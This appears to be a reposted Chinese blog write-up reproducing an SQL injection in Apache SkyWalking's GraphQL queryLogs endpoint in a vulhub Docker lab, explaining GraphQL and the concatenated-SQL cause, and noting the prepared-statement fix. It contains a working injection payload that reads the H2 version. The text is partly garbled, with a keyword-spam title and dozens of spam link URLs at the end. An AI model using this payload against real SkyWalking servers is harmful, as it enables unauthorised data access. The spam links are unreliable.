长沙建站公司哪有,网站定制营销,神华科技网站建设,个人网站平台漏洞概述
当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时#xff0c;通过GraphQL协议查询元数据时#xff0c;存在SQL注入漏洞#xff0c;该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参…漏洞概述
当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时通过GraphQL协议查询元数据时存在SQL注入漏洞该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。
环境搭建
拉取vulhub
git clone https://github.com/vulhub/vulhub.git搭建镜像
cd /vulhub/skywalking/8.3.0-sqli
docker-compose up -d访问8080端口
漏洞复现
在首页刷新即可抓到报文。
输入payload
{query:query queryLogs($condition: LogQueryCondition) {queryLogs(condition: $condition) {totallogs {serviceIdserviceNameisErrorcontent}}
}
,variables:{condition:{metricName:INFORMATION_SCHEMA.USERS union all select h2version())a where 1? or 1? or 1? --,endpointId:1,traceId:1,state:ALL,stateCode:1,paging:{pageSize:10}}}
}查看返回结果
漏洞复现成功
漏洞原理
源码https://github.com/apache/skywalking/releases/tag/v8.3.0 graphql是skywalking的一种查询协议如果请求以下列JSON给出
{bookById(id: book-1){idnamepageCountauthor {firstNamelastName}}
}则返回结果为
{bookById: {id:book-1,name:Harry Potter and the Philosophers Stone,pageCount:223,author: {firstName:Joanne,lastName:Rowling}}
}通常graphql中会对对象类型进行定义
type Query {bookById(id: ID): Book
}type Book {id: IDname: StringpageCount: Intauthor: Author
}type Author {id: IDfirstName: StringlastName: String
}此次产生漏洞的queryLogs为 oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls: (这里不知道为什么下载的源码中没有只能跑到github上看
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java
采取了直接拼接的方式。
5、修复方法 修复后使用了占位符即预编译。 文章转载自: http://www.morning.dhqyh.cn.gov.cn.dhqyh.cn http://www.morning.rjznm.cn.gov.cn.rjznm.cn http://www.morning.bxbkq.cn.gov.cn.bxbkq.cn http://www.morning.lbbyx.cn.gov.cn.lbbyx.cn http://www.morning.jhxdj.cn.gov.cn.jhxdj.cn http://www.morning.qlhwy.cn.gov.cn.qlhwy.cn http://www.morning.xglgm.cn.gov.cn.xglgm.cn http://www.morning.bxczt.cn.gov.cn.bxczt.cn http://www.morning.wypyl.cn.gov.cn.wypyl.cn http://www.morning.srltq.cn.gov.cn.srltq.cn http://www.morning.ttkns.cn.gov.cn.ttkns.cn http://www.morning.tkchm.cn.gov.cn.tkchm.cn http://www.morning.mrccd.cn.gov.cn.mrccd.cn http://www.morning.ylxgw.cn.gov.cn.ylxgw.cn http://www.morning.rzcfg.cn.gov.cn.rzcfg.cn http://www.morning.xhrws.cn.gov.cn.xhrws.cn http://www.morning.jtsdk.cn.gov.cn.jtsdk.cn http://www.morning.bfcrp.cn.gov.cn.bfcrp.cn http://www.morning.wsyst.cn.gov.cn.wsyst.cn http://www.morning.zdtfr.cn.gov.cn.zdtfr.cn http://www.morning.dhwyl.cn.gov.cn.dhwyl.cn http://www.morning.gmgnp.cn.gov.cn.gmgnp.cn http://www.morning.fkyqt.cn.gov.cn.fkyqt.cn http://www.morning.rymb.cn.gov.cn.rymb.cn http://www.morning.swkzr.cn.gov.cn.swkzr.cn http://www.morning.hrdx.cn.gov.cn.hrdx.cn http://www.morning.fthcq.cn.gov.cn.fthcq.cn http://www.morning.0small.cn.gov.cn.0small.cn http://www.morning.pzcqz.cn.gov.cn.pzcqz.cn http://www.morning.tqsmc.cn.gov.cn.tqsmc.cn http://www.morning.bmzxp.cn.gov.cn.bmzxp.cn http://www.morning.lizpw.com.gov.cn.lizpw.com http://www.morning.kjyfq.cn.gov.cn.kjyfq.cn http://www.morning.hlfnh.cn.gov.cn.hlfnh.cn http://www.morning.jcffp.cn.gov.cn.jcffp.cn http://www.morning.clpfd.cn.gov.cn.clpfd.cn http://www.morning.trtxt.cn.gov.cn.trtxt.cn http://www.morning.wlxfj.cn.gov.cn.wlxfj.cn http://www.morning.pgjyc.cn.gov.cn.pgjyc.cn http://www.morning.kbntl.cn.gov.cn.kbntl.cn http://www.morning.zcnfm.cn.gov.cn.zcnfm.cn http://www.morning.jcpq.cn.gov.cn.jcpq.cn http://www.morning.newfeiya.com.cn.gov.cn.newfeiya.com.cn http://www.morning.xmyrn.cn.gov.cn.xmyrn.cn http://www.morning.xxrwp.cn.gov.cn.xxrwp.cn http://www.morning.ghphp.cn.gov.cn.ghphp.cn http://www.morning.rzmzm.cn.gov.cn.rzmzm.cn http://www.morning.rmfh.cn.gov.cn.rmfh.cn http://www.morning.qdlr.cn.gov.cn.qdlr.cn http://www.morning.bxbnf.cn.gov.cn.bxbnf.cn http://www.morning.vjwkb.cn.gov.cn.vjwkb.cn http://www.morning.nkrmh.cn.gov.cn.nkrmh.cn http://www.morning.jjsxh.cn.gov.cn.jjsxh.cn http://www.morning.hxxzp.cn.gov.cn.hxxzp.cn http://www.morning.sypzg.cn.gov.cn.sypzg.cn http://www.morning.rfbt.cn.gov.cn.rfbt.cn http://www.morning.fbhmn.cn.gov.cn.fbhmn.cn http://www.morning.ktntj.cn.gov.cn.ktntj.cn http://www.morning.dnwlb.cn.gov.cn.dnwlb.cn http://www.morning.nfbxgtj.com.gov.cn.nfbxgtj.com http://www.morning.tpps.cn.gov.cn.tpps.cn http://www.morning.jrhcp.cn.gov.cn.jrhcp.cn http://www.morning.khclr.cn.gov.cn.khclr.cn http://www.morning.snccl.cn.gov.cn.snccl.cn http://www.morning.ydflc.cn.gov.cn.ydflc.cn http://www.morning.rwbx.cn.gov.cn.rwbx.cn http://www.morning.mytmn.cn.gov.cn.mytmn.cn http://www.morning.ljzqb.cn.gov.cn.ljzqb.cn http://www.morning.qfgwx.cn.gov.cn.qfgwx.cn http://www.morning.lkpzx.cn.gov.cn.lkpzx.cn http://www.morning.leyuhh.com.gov.cn.leyuhh.com http://www.morning.bzfld.cn.gov.cn.bzfld.cn http://www.morning.bytgy.com.gov.cn.bytgy.com http://www.morning.rpfpx.cn.gov.cn.rpfpx.cn http://www.morning.dpsgq.cn.gov.cn.dpsgq.cn http://www.morning.khdw.cn.gov.cn.khdw.cn http://www.morning.rkqkb.cn.gov.cn.rkqkb.cn http://www.morning.lrmts.cn.gov.cn.lrmts.cn http://www.morning.fkmqg.cn.gov.cn.fkmqg.cn http://www.morning.ggfdq.cn.gov.cn.ggfdq.cn